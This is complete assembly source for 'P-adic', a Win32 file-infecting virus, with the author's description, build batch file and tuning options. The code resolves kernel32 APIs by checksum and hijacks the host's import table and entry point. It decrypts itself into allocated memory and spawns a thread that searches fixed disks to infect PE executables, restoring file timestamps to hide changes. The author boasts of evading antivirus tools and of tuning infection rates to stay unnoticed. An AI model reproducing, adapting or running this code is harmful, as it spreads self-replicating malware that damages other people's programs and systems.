.386p .model flat comment $ P-adic virus version 1.9 by Doxtor L. /[T.I] ,2000-2002 Disclaimer: This program is a virus. It's not designed to be a destructive one, but anyway it's a virus ! Description: It's a per-process encrypted EPO win32 virus. Tested both on Win95 and Win2K. It's old style and new style bound aware so the applications as calc.exe and notepad.exe on Win9x and Win2K will not crash if they are infected! This virus uses several technics: Checksum routine to recognize api strings in the export section of the Kernel32.dll Whenever the size of the virus is less than the size of the relocation section, if this latter do exist then this section is renamed and the virus is placed there. This virus uses a basic EPO routine. A short piece of code overwrites the original entry point of the host so the entry point isn't modified. The bytes overwritten are saved somewhere in the virus body. Obviously, Before to jump to the host code these bytes are restored. Pure overwritter viruses are lame, never forget that! The main feature is that the sections attributes of the host aren't modified, i.e if a section is a non-writable one, after infection the section attribute is still non-writable. How we do that? There are two technics used. The first one is the use of the api GlobalAlloc. This api is called first, to create a memory space to decrypt and run the main part of the virus there. But we need a special routine to get the address of this api. In order to perform this task we search in the Import table of the target, an api name with 11 or more letters. We patch the name with the "GlobalAlloc" string. At run time, the infected host is loaded in memory by windows, the address of the GlobalAlloc api is set. Windows makes the job for us :) Nevetheleast, we need to restore the correct address. GetProcAddress api is used.(we can't pre-calculate a checksum for it because the name of this api isn't known before infection time) The virus uses the allocated memory space to move to and to decrypt its main routine. So when the decryption process is over, the virus jumps to that new memory space. It creates an infectious thread and returns to host. the infectious routine is a classic one: -It searchs targets on all fixed disks and then infects them. -The thread begins with a pause, the virus stops few seconds before to infect. -The virus is composed of 2 parts: a loading routine to create memory space and decrypt the virus there (this routine is located in the executable section of the host) and the main part of the virus, located in last section. This virus isn't detected by major anti-viruses at the time it was written. So BE CAREFUL! To compile, use the following file: Syntax is: compile virus (and not "compile virus.asm") [assuming the virus source code is named: virus.asm] The assembler used is tasm 5.0 ///// begin of compile.bat ///// tasm32 /m /ml %1.asm tlink32 /Tpe /aa /c %1,%1.exe,,import32.lib rem pewrite.exe set the write attribute in all sections headers pewrite %1.exe del %1.obj del %1.map ///// End of compile.bat ///// Options: You can set the virus sleeping time, just change the constant value called Miliseconds (see the end of the source code) To infect 10 files by loop (for example), set the value of the constant "HowMany" to 10 (see the end). But i don't recommand the use of numbers greater than 3. A lot of disk accesses could be suspicious for the users and increase the rate of corrupted files when the user closes the infected program before the infectious routine is terminated. $ %out WARNING! %out YOU HAVE JUST COMPILED A FULL FUNCTIONNAL VIRUS! %out ERASE IT, IF YOU DON'T KNOW WHAT YOU'RE DOING! extrn ExitProcess :Proc ;only for the 1st generation extrn MessageBoxA :Proc extrn GetProcAddress :Proc extrn GetModuleHandleA :Proc extrn Sleep :Proc .data db 0 T db "Warning!" ,0 Message db "Ready to be infected" ,0ah,0dh db "by P-adic " ,0ah,0dh db "virus v 1.9 /[T.I] ?" ,0ah,0dh,0 Message2 db "Exit infection?",0 Krl32 db "KERNEL32.DLL",0 EP db "ExitProcess",0 ;only for 1st generation EpAdd dd 0 ;fake variable for 1st generation ;macros: OpenFileStuff macro push 0 push 0 push 3 push 0 push 1 push 80000000h or 40000000h ;Read and Code abilities lea eax,FileName+ebp push eax call dword ptr [_CreateFileA+ebp] mov dword ptr [FileHandle+ebp],eax ;save FileHandle push 0 push dword ptr [FileSize+ebp] push 0 push 4 push 0 push dword ptr [FileHandle+ebp] call dword ptr [_CreateFileMappingA+ebp] mov dword ptr [MapHandle+ebp],eax push dword ptr [FileSize+ebp] push 0 push 0 push 2 push dword ptr [MapHandle+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz ExitOpenFileStuffError mov dword ptr [MapAddress+ebp],eax ;eax=Address of Mapping xchg eax,edx clc endm CloseFileStuff macro UnMap: push dword ptr [MapAddress+ebp] call dword ptr [_UnmapViewOfFile+ebp] CloseMapHandle: push dword ptr [MapHandle+ebp] call dword ptr [_CloseHandle+ebp] ResizeFile: push 0 push 0 push dword ptr [FileSize+ebp] push dword ptr [FileHandle+ebp] call dword ptr [_SetFilePointer+ebp] MarkEndOfFile: push dword ptr [FileHandle+ebp] call dword ptr [_SetEndOfFile+ebp] RestoreTime: lea eax,LastWriteTime+ebp push eax lea eax,LastAccessTime+ebp push eax Lea eax,CreationTime+ebp push eax push dword ptr [FileHandle+ebp] call dword ptr [_SetFileTime+ebp] CloseFile: push dword ptr [FileHandle+ebp] call dword ptr [_CloseHandle+ebp] RestoreFileAttributs: push dword ptr [FileAttributes+ebp] lea eax,FileName+ebp push eax call dword ptr [_SetFileAttributesA+ebp] endm .code ;code executable starts here HOST: jmp Over db 40 dup (90h) push 60000 call Sleep push 30h push offset T push offset Message2 push 0 call MessageBoxA push 0 call ExitProcess Over: mov eax,LoaderLength mov eax,EndVir-BeginVir push 30h push offset T push offset Message push 0 call MessageBoxA push offset Krl32 call GetModuleHandleA push offset EP push eax call GetProcAddress ;useless , but needed for 1st generation mov dword ptr [EpAdd],eax mov dword ptr [Import],offset EpAdd mov dword ptr [HackAdd],offset EpAdd mov eax,EndVir-BeginVir ;[real start of virus]: BeginVir: call Delta Delta: ;compute delta offset pop ebp sub ebp,offset Delta ComputeKernelAddress: db 8bh,15h ;mov edx,dword [Import] Import dd 0 ;Import is an address in Import table ;[ ]= adress of GlobalAlloc (in second generation) ;***** Search kernel32.dll address in memory ; In :edx=address in kernel32 ;***** Out:edx=kernel32.dll address mov eax,edx Loop: dec edx cmp word ptr [edx],"ZM" jnz Loop MZ_found: mov ecx,edx mov ecx,[ecx+03ch] add ecx,edx cmp ecx,eax jg Loop ;this test avoid page fault cmp word ptr [ecx] ,"EP" jnz Loop ;***** End of search kernel routine ;***** Search apis addresses needed ; In : edx=IMAGE BASE of KERNEL32 ;***** Out: Searched Apis addresses are put in a Table of Dword mov eax,[edx+3ch] ;eax=RVA of PE-header add eax,edx ;eax=Address of PE-header mov eax,[eax+78h] ;eax=RVA of EXPORT DIRECTORY section add eax,edx ;eax=Address of EXPORT DIRECTORY section mov esi,[eax+20h] ;esi=RVA of the table containing pointers add esi,edx ;esi=Address of this table, ;a pointer to the name of the first ;exported function xor ebx,ebx ;ebx holds Api index dec ebx mov ecx,ApiNb ;number of Apis remaining sub esi,4 MainLoop: add esi,4 inc ebx ;***** Crc computing of the current Api name ; In : esi: RVA of name ;***** Out: Crc variable contains the Crc of current name string ComputeCrc: pushad mov esi,dword ptr [esi] add esi,edx xor ecx,ecx xor eax,eax Again: Lodsb or al,al jz SeeU add cl,al rol eax,cl add ecx,eax jmp Again SeeU: mov dword ptr [Crc+ebp],ecx popad ;***** End of crc computing routine ;***** Test Crc ; In : Esi: Current Api name address ; Out: Esi= following name ;***** Ecx= Api (pointer) index in the "table of names" TestCrc: push eax mov eax,dword ptr [Crc+ebp] mov ecx,ApiNb+1 lea edi,ApiList+ebp repne scasd pop eax jecxz MainLoop Found: pushad add edi,offset _CloseHandle-(offset ApiList+4) ;Api position ;in our table mov ecx,dword ptr [eax+36] add ecx,edx lea ecx,[ecx+2*ebx] mov bx,word ptr [ecx] mov ecx,dword ptr [eax+1ch] add ecx,edx mov ecx,dword ptr [ecx+4*ebx] add ecx,edx mov dword ptr [edi],ecx popad Loop MainLoop ;***** End of crc test routine ;***** End of Apis searching routine ;We need to patch the import table of host. ;But first we need to compute the address of the Api we have replaced ;by GlobalAlloc ;[Compute address of hacked api]: lea ebx,ApiHack+ebp push ebx push edx call dword ptr [_GetProcAddress+ebp] mov dword ptr [ApiOriginalAdd+ebp],eax call dword ptr [_GetCurrentProcessId+ebp] ;[Restore host first executable bytes]: push eax push 0 push 10h or 20h or 08h call dword ptr [_OpenProcess+ebp] xchg eax,ebx push 0 push LoaderLength lea eax,SaveHost+ebp push eax db 68h PushPatch: dd 401000h push ebx call dword ptr [_WriteProcessMemory+ebp] ;[Restore host hacked api]: push 0 push 4 lea eax,ApiOriginalAdd+ebp push eax db 68h HackAdd: dd 0 push ebx call Dword ptr [_WriteProcessMemory+ebp] ;[Create_Thread]: lea ebx,ThreadID+ebp push ebx push 0 push 0 lea ebx,_Thread+ebp push ebx push 0 push 0 call dword ptr [_CreateThread+ebp] ;[Return to host]: db 68h ;push OldEip OldEip dd 401002h ret _Thread: call DeltaOff DeltaOff: pop ebp sub ebp,offset DeltaOff push Miliseconds call dword ptr [_Sleep+ebp] ;[Save current directory]: lea eax,DirExe+ebp push eax push 260 call Dword ptr [_GetCurrentDirectoryA+ebp] ;***** Main routine (directory-tree search algorithm) mov dword ptr [Counter+ebp],HowMany mov dword ptr [Depth+ebp],0 mov eax,dword ptr [Key+ebp] SearchDisk: xor edx,edx ;32-bits number random generator mov ecx,A mul ecx add eax,C adc edx,0 mov ecx,B div ecx mov eax,edx mov dword ptr [Key+ebp],eax and al,00000011b add al,43h mov byte ptr [DiskName+ebp],al lea eax,DiskName+ebp push eax call dword ptr [_GetDriveTypeA+ebp] cmp eax,3 jnz SearchDisk db 0c7h,85h dd offset FileName DiskName db "C" db ":\",0 Find0: inc dword ptr [Depth+ebp] push ebx lea eax,FileName+ebp push eax call dword ptr [_SetCurrentDirectoryA+ebp] ;****** InfectCurrentDir lea esi,FileAttributes+ebp push esi lea edi,FindMatch+ebp push edi call dword ptr [_FindFirstFileA+ebp] mov ebx,eax inc eax jz FindF call Infect Next: push esi push ebx call [_FindNextFileA+ebp] or eax,eax jz FindF call Infect jmp Next ;***** End of infect current dir routine ;[Findfirst dir]: FindF: lea esi,FileAttributes+ebp push esi lea edi,FindMatch2+ebp push edi call dword ptr [_FindFirstFileA+ebp] mov ebx,eax inc eax jz Updir0 Find: mov eax,dword ptr [FileAttributes+ebp] and eax,10h jz FindN cmp byte ptr [FileName+ebp],"." jnz Find0 ;[FindNext dir routine]: FindN: lea esi,FileAttributes+ebp push esi push ebx call dword ptr [_FindNextFileA+ebp] or eax,eax jnz Find Updir: push ebx call dword ptr [_FindClose+ebp] Updir0: dec dword ptr [Depth+ebp] jz Exit pop ebx lea eax,DotDot+ebp push eax call dword ptr [_SetCurrentDirectoryA+ebp] jmp FindN Exit: ;jmp to host code ;[Restore saved directory]: lea eax,DirExe+ebp push eax call dword ptr [_SetCurrentDirectoryA+ebp] jmp _Thread Infect: pushad TestFile: add dword ptr [FileSize+ebp],VirLength ;***** Test if the file is a true PE-executable file OpenFileStuff jc ExitInfectError push edx ;save mapping address cmp dword ptr [edx+3ch],200h ;Avoid Page Fault jg ExitInfectError0 add edx,dword ptr [edx+3ch] ;edx points to PE-header cmp word ptr [edx],"EP" ;true PE exe there? jnz ExitInfectError0 ;***** End of EXE-PE test ;***** Already infected? pop ecx cmp word ptr [ecx+12h],"IT" ;infected? jz ExitInfectError push ecx ;**** End of infection test mov edi,edx add edi,18h ;edi=beginning of optional header ;[Compute the return address to target code]: mov ebx,dword ptr [edi+10h] ;ebx=Entry Point RVA push ebx ;save it mov dword ptr [RVA_EP+ebp],ebx add ebx,dword ptr [edi+1ch] ;ebx=ImageBase Address in ;memory mov dword ptr [OldEip+ebp],ebx ;save it mov dword ptr [PushPatch+ebp],ebx movzx ecx,word ptr [edx+14h] ;cx=size of optionnal header add edi,ecx ;edi points to 1st section header movzx ecx,word ptr [edx+06h] ;cx= number of sections mov dword ptr [SectN+ebp],ecx mov ebx,edi ;ebx points on 1st section header ;compute last section header address xor eax,eax ;set eax=0 dec ecx ;ecx=number of sections -1 mov esi,edi ;esi=first section header ;address mov al,28h ;al=size of a section header mul cl ;eax=28h*(number of section-1) add esi,eax ;esi=pointer to last section ;header ;ebx,edi=beginning of 1st section header pop eax ;put Entry Point RVA in eax ;***** Search code section: ; In : edi holds file pointer to first section header ; : eax holds Entry Point RVA ;***** Out: edi holds File ptr to the "code section" NotEnough: add edi,28h cmp dword ptr [edi+12],eax jg FoundCode loop NotEnough jmp ExitInfectError0 FoundCode: sub edi,28h ;***** Search code section end cmp dword ptr [esi+16],0 ;don't want to infect files jz ExitInfectError0 ;with rawdata size=0 ... ;no real section on disk here ;if we try ...file is overwritten! mov eax,dword ptr [esi+24h] ;don't want to infect files and eax,80000000h ;with a last section writable jnz ExitInfectError0 ;surely an exe archive or packed file ;ebx= begin of section headers ;edi= begin of code section ;eax = "code section" offset in mapping area pop eax ;restore and save Entry Point push eax ;RVA add eax,dword ptr [edi+14h] ;compute file pointer of add eax,dword ptr [RVA_EP+ebp] ;Entry Point on disk sub eax,dword ptr [edi+0ch] ;[Import table patching routine]: pushad push dword ptr [edx+18h+1ch] ;save on stack ImageBase mov eax,dword ptr [edx+80h] ;eax= address of the ;"import table" ;eax=RVA "Imports table" ;ebx=RVA "Sections table" call Rva2Offset ;eax=file pointer to Import table xchg eax,edi ;edi= " " " " " SearchDll: mov eax,dword ptr [edi+12] or eax,eax je _NotFound call Rva2Offset cmp dword ptr [eax],"NREK" ;are there imports je DllFound ;from kernel32.dll? cmp dword ptr [eax],"nrek" ; " " je DllFound add edi,20 jmp SearchDll _NotFound: pop eax popad jmp ExitInfectError0 DllFound: cmp dword ptr [edi+4],-1 jnz NotNewStyleBound add esi,28h ;esi points to the start of the ;bound directory mov edx,esi ExploreBoundDir: add edx,4 ;"pointer" to the name of a dll ;exporting functions movzx eax,word ptr [edx] add eax,esi cmp dword ptr [eax],"NREK" jz FoundBoundDll cmp dword ptr [eax],"nrek" jnz ExploreBoundDir FoundBoundDll: sub edx,4 mov dword ptr [edx],0 NotNewStyleBound: mov dword ptr [edi+4],0 ;TimeDate stamp set to 0 mov dword ptr [edi+8],0 mov eax,dword ptr [edi] ;eax=RVA of OriginalFirstThunk mov edx,dword ptr [edi+16] ;edx=RVA of FirstThunk or eax,eax jz No_OFT pushad call Rva2Offset ;compute OFT file pointer push eax ;save OFT file pointer ;[Compute the number of imported APIs from KERNEL32.DLL]: xor ecx,ecx sub eax,4 ApiScan: inc ecx add eax,4 cmp dword ptr [eax],0 jnz ApiScan dec ecx ;****************************************************************** pop eax ;restore OFT file pointer mov esi,eax mov eax,edx call Rva2Offset xchg edi,eax rep movsd popad jmp OFT_Found No_OFT: mov eax,edx OFT_Found: call Rva2Offset ;eax contains the RVA of an array of ;RVAs. ;Each of these RVAs points to a structure ;The number of structures equal the ;number of imported functions from ;kernel32.dll ;We need to convert eax into a file ;pointer. sub edx,4 sub eax,4 lea edi,ApiHack+ebp Loop2: add eax,4 add edx,4 mov esi,dword ptr [eax] ;read an RVA of array or esi,esi jz _NotFound test esi,80000000h ;ordinal? jnz Loop2 xor ecx,ecx xchg eax,esi ;convert RVA to file offset call Rva2Offset xchg eax,esi inc esi ;esi points to api name inc esi ;[save the API name and compute its size]: push esi push edi DoAgain: ;move the api name into ApiHack movsb inc ecx cmp byte ptr [esi-1],0 ;end of string? jnz DoAgain pop edi pop esi ;************************************************************************ cmp cl,12 ;string + ",0" is 12 char? jl Loop2 ;not enough?...go back to Loop2 xchg esi,edi lea esi,GlobalAPI+ebp mov cl,12 ;GlobalAlloc string replace rep movsb ;one of api of the host pop edi ;edi =ImageBase of target add edx,edi ;address in Import table mov dword ptr [ReturnAdd+ebp],edx ;patchs needed mov dword ptr [HackAdd+ebp],edx mov dword ptr [Import+ebp],edx popad ;***** End Import table Patching routine pop edi ;restore MapAddress push eax ;save file pointer to code loader push eax add dword ptr [Key+ebp],0FEDCBA98h ;modify key mov word ptr [edi+12h],"IT" ;mark the infected target mov dword ptr [edx+18h+24h],200h ;set FileAligment=200h mov ecx,dword ptr [esi+0ch] add edi,dword ptr [esi+14h] cmp dword ptr [edx+18h+96+40],ecx jnz NoReloc cmp dword ptr [esi+10h],800h jnge NoReloc ;[Erase Relocation Section]: mov dword ptr [edx+18h+96+40],0 mov dword ptr [edx+18h+96+44],0 mov dword ptr [esi],"adP." mov dword ptr [esi+4],"at" add ecx,dword ptr [edx+18h+1ch] mov dword ptr [LastSectionCode+ebp],ecx sub dword ptr [FileSize+ebp],VirLength jmp SaveFirstBytes NoReloc: add edi,dword ptr [esi+10h] ;add rounded up last section raw-size ;[Compute beginning of code in the last section ,in memory]: mov ecx,dword ptr [esi+0ch] ;last section RVA in memory add ecx,dword ptr [esi+10h] ;add last section rounded up size add ecx,dword ptr [edx+18h+1ch] ;add address base of target mov dword ptr [LastSectionCode+ebp],ecx ;[Update size field in target last section header]: add dword ptr [esi+10h],800h add dword ptr [esi+08h],1000h ;[Update size fields in target optional header]: add dword ptr [edx+50h],1000h ;[Save first bytes of host code]: SaveFirstBytes: pop esi ;map pointer to beginning of code mov ecx,LoaderLength push ecx ;save size of loader push edi lea edi,SaveHost+ebp ;save beginning of code in virus body repne movsb pop edi ;[Copy and encrypt code in the last section]: mov ecx,(EndVir-BeginVir)/4 lea esi,BeginVir+ebp call Crypt ;[ClearHeap]: push edi mov ecx,dword ptr [FileSize+ebp] sub edi,dword ptr [MapAddress+ebp] sub ecx,edi ;ecx=number of useless bytes in ;the heap pop edi xor eax,eax ;set eax to 0 Nullify: repne stosb ;[Copy loader code to target file on disk]: pop ecx pop edi ;restore pointer (on disk) to code loader lea esi,BeginLoader+ebp repne movsb dec dword ptr [Counter+ebp] jmp GetOut ExitInfectError2: pop eax ExitInfectError0: pop eax ExitInfectError: sub dword ptr [FileSize+ebp],VirLength GetOut: CloseFileStuff popad ret ExitOpenFileStuffError: stc ret ;change a RVA to a file pointer ;In : ebx points to first section ;Out: eax contains the file offset Rva2Offset: push ebx push ecx mov ecx,dword ptr [SectN+ebp] _Loop: cmp dword ptr [ebx+12],eax jg _Find NoRawData: add ebx,28h loop _Loop _Find: sub eax,dword ptr [ebx-28h+12] add eax,dword ptr [ebx-28h+20] add eax,dword ptr [MapAddress+ebp] pop ecx pop ebx ret BeginLoader: push 2000h push 0 db 0ffh,15h ;call GlobalAlloc ReturnAdd dd 0 push eax ;prepare jump to virus xchg eax,edi ;added to modify scan string mov ecx,(VirLength)/4 db 0beh ;mov esi,**** LastSectionCode dd 0 Crypt: lodsd db 35h Key dd 0abcdef12h stosd dec ecx jnz Crypt ret ;go to beginning of code EndLoader: SaveHost db 0ebh,4ch db 35 dup (90h) Constants: B equ 134217729 A equ 44739244 C equ 134217727 ApiNb equ 21 MaxPath equ 260 Miliseconds equ 5000 HowMany equ 3 VirLength equ 800h VirLength0 equ EndVir0-BeginVir LoaderLength equ EndLoader-BeginLoader Sign db "P-adic virus version 1.9" db "DoxtorL./[T.I]/2000-2002" FindMatch db "goat*.exe",0 FindMatch2 db "*.*",0 DotDot db "..",0 GlobalAPI db "GlobalAlloc",0 ApiHack db "GlobalAlloc",0 ;only for the ;1st generation db 25 dup (0) ;reserved for char ;of api name found ApiList dd 0fdbe9ddfh ;CloseHandle dd 04b00fba1h ;CreateFileA dd 00d6ea22eh ;CreateFileMappingA dd 0be307c51h ;CreateThread dd 0be7b8631h ;FindClose dd 0c915738fh ;FindFirstFileA dd 08851f43dh ;FindNextFileA dd 028f8c6fbh ;GetCurrentDirectoryA dd 00029ecfbh ;GetCurrentProcessId dd 09c3a5210h ;GetDriveTypeA dd 040bf2f84h ;GetProcAddress dd 032beddc3h ;MapViewOfFile dd 0c329f65bh ;OpenProcess dd 08e0e5487h ;SetCurrentDirectoryA dd 0bc738ae6h ;SetEndOfFile dd 050665047h ;SetFileAttributesA dd 06d452a3ah ;SetFilePointer dd 09f69de76h ;SetFileTime dd 03a00e23bh ;Sleep dd 0fae00d65h ;UnmapViewOfFile dd 01e9fa310h ;WriteProcessMemory EndVir: ;What is following isn't appended to target ;ApiAddresses: _CloseHandle dd 0 _CreateFileA dd 0 _CreateFileMappingA dd 0 _CreateThread dd 0 _FindClose dd 0 _FindFirstFileA dd 0 _FindNextFileA dd 0 _GetCurrentDirectoryA dd 0 _GetCurrentProcessId dd 0 _GetDriveTypeA dd 0 _GetProcAddress dd 0 _MapViewOfFile dd 0 _OpenProcess dd 0 _SetCurrentDirectoryA dd 0 _SetEndOfFile dd 0 _SetFileAttributesA dd 0 _SetFilePointer dd 0 _SetFileTime dd 0 _Sleep dd 0 _UnmapViewOfFile dd 0 _WriteProcessMemory dd 0 ;Variables: FileHandle dd 0 MapHandle dd 0 HostNewRawSize dd 0 MapAddress dd 0 Counter dd 0 Crc dd 0 Depth dd 0 ThreadID dd 0 SectAdd dd 0 SectN dd 0 RVA_EP dd 0 ApiOriginalAdd dd 0 ;search structure: FileAttributes dd ? ; attributes CreationTime dd ?,? ; time of creation LastAccessTime dd ?,? ; last access time LastWriteTime dd ?,? ; last modificationm FileSizeHigh dd ? ; filesize FileSize dd ? ; Reserved0 dd ? ; Reserved1 dd ? ; FileName db MaxPath DUP (?) ; long filename AlternateFileName db 13 DUP (?) ; short filename DirExe db MaxPath DUP (?) EndVir0: end HOST